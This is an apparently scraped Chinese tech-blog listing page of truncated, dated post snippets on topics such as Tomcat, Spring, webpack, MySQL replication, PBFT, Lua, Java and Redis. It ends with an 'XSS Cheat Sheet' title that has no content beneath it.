文章目录Tomcat 知识介绍1：Tomcat介绍2：Tomcat核心组件3：Tomcat处理请求过程4：Tomcat作用部署 Tomcat1：配置 Java 环境2：安装配置 Tomcat3：浏览器测试4：基于域名访问Tomcat 虚拟主机…...
2024/4/10 22:43:02
Spring——纯注解开发
Spring——纯注解开发创建配置类配置类例如，配置数据源在配置类中在原本的xml配置文件中配置Dao 在配置类中原本的xml配置文件中配置核心事务管理器在配置类中原本的xml配置文件中...
2024/3/23 17:33:38
webpack深入浅出系列：入门（系统性了解webpack）
文章目录前言webpack是什么？为什么需要webpack？npm与webpack的关系？webpack的核心？webpack是如何运作的？前言最近常常反思，做前端仔也有些日子了，除了存款跟技术跟买的股票该涨的没涨之外&…...
2024/4/25 13:27:03
mysql主从复制和读写分离
简介：在实际的生产环境中，如果对MySQL数据库的读和写都在一台数据库服务器中操作，无论是安全性、高可用性还是高并发等各个方面都是不能满足实际需求的。本次将首先讲解MySQL主从复制和MySQL读写分离的原理。然后介绍如何配置MySQL主从复制和…...
2024/4/4 8:20:22
mac rz sz
https://github.com/aikuyun/iterm2-zmodem...
2024/3/23 13:15:06
Fisco共识算法：PBFT
一、PBFT 与拜占庭问题很多人喜欢玩狼人杀，我用狼人杀跟拜占庭将军问题做个类比。在狼人杀开局的时候，你是好人，并且不知道自己的队友是谁，也不知道狼人是谁，但所有的好人都有一个共同的目的：干死狼人，好人获胜。所以游戏中需要使用技巧和策略，达成目的。拜占庭将军…...
2024/4/27 6:10:51
阿里巴巴新作“Java架构核心宝典”，潮流干货，限时开源
导言什么是架构师？对于程序员来说，聊架构是一个永不过时的话题。实际上，每一家公司都有自己对架构师不同的定位，因为不同的公司，所处的阶段、业务模式以及应用场景都不一样，因此对架构师的要求不一样&…...
2024/3/23 17:33:37
python实验函数的定义和调用
1、编写一个函数C(n,m)求解组合数，并测试。要求用递归函数和非递归函数两种方式实现。组合数计算公式:C(n,m) C(n-1, m) C(n-1, m-1) 其中：C(n,n)1 C(n,0)1 import math def C(n,m): value math.factorial(n)/(math.factorial(m)*math.factori…...
2024/3/23 17:33:36
开源啦！一个基于 Vue 3 + Vant 3 的商城项目
本文我们来看一下如何使用 Python Appium 实现定时自动化收取蚂蚁森林能量。2. 环境本文主要环境如下：Win7小米5sPython3.7Appium1.5支付宝10.2.6.7010如果对环境搭建不熟悉的话，可以看一下：Python Appium 自动化操作微信入门和我用 Pytho…...
2024/4/24 19:22:37
lua table 解析
lua table 解析什么是table table 是 Lua 的一种数据结构，用来帮助我们创建不同的数据类型数组字典类队列栈… table键值对 key value key，除了nil，lua的数据类型都可以做为key t{} t[1] "int" -- key 可…...
2024/4/24 19:22:36
[FPGA入门笔记]（十三）：SPI同步串行总线协议及控制器设计
简介今天购买了AXLINX AX7020的开发板，从今天开始每一个例程都要做文档记录，为自己加油。本实验，基于ALINX AX7020开发板，芯片为xc7z020clg400-2。开发板输入时钟为50MHz。一、SPI协议介绍 **SPI(serialperipheralinterface…...
2024/4/24 19:22:35
【吴恩达第二周编程作业】实验过程详细记录-【Jupyter方式】
返回总目录本文是个人学习👉【中文】【吴恩达课后编程作业】Course 1 - 神经网络和深度学习 - 第二周作业的详细实现过程。下面会围绕这篇文章来叙述。环境 Anaconda 3 第一部分（就是到猫那张图片之前） 原博文： 在开始之前…...
2024/4/24 19:22:33
泛型续，数据结构，List集合
泛型续： 泛型的通配符： 目标：了解泛型的通配符 ，表达泛型通配符的作用当使用泛型类或者泛型接口，传递的数据中，泛型的类型不确定，可以通过通配符<?>表示。一旦程序当中使用泛 …...
2024/4/24 19:22:32
Chapter 3. Strings, Vectors and Arrays -C++ Primer 5 notes
Chapter 3. Strings, Vectors and Arrays What does built-in types include? chapter 2arraymaybe more? What is the characteristic of built-in types? These types represent facilities present in most computer hardware, such as numbers or characters. What…...
2024/4/24 19:22:31
树突状细胞（DC细胞）特征及应用进展综述
树突状细胞( dentritic cell，DC) 最初由 Steinman 和 Cohn 于 1973 年在小鼠脾脏中发现［1］，是迄今为止功能最强大的抗原呈递细胞，因成熟时有许多树状或伪足样突起而得名。DC 常被称为“天然佐剂”，已成为…...
2024/4/24 19:22:32
每日一记：在vmware workstation下用lvm安装oracle遇到空间不足的问题分析处理
问题： 在vmware workstation下用lvm安装oracle报错空间不足分析： /u01明明是有空间的，为什么说只有3.626GB可用？ 仔细想想，可能跟vm的磁盘没用立即分配有关，如下： 如红色框框所示&#xff0c…...
2024/4/24 19:22:29
JavaRedis缓存使用场景概述需要什么基础
Redis缓存是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。每一个Java人员在完成基础课程的学习后，都要学习Redis，因为这是今后工作常用的工具，也是企业选拔人才的…...
2024/3/23 17:33:27
Java无需解压直接读取ZIP压缩包里的文件及内容--通过URL获取.zip文件
前言最近项目，需要读取云端压缩数据，进行滤波操作代码实现： import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLConnection; /*** program: phb-server* description: 获取阿里云zip&#…...
2024/3/23 17:33:26

XSS Cheat Sheet

相关文章

最新文章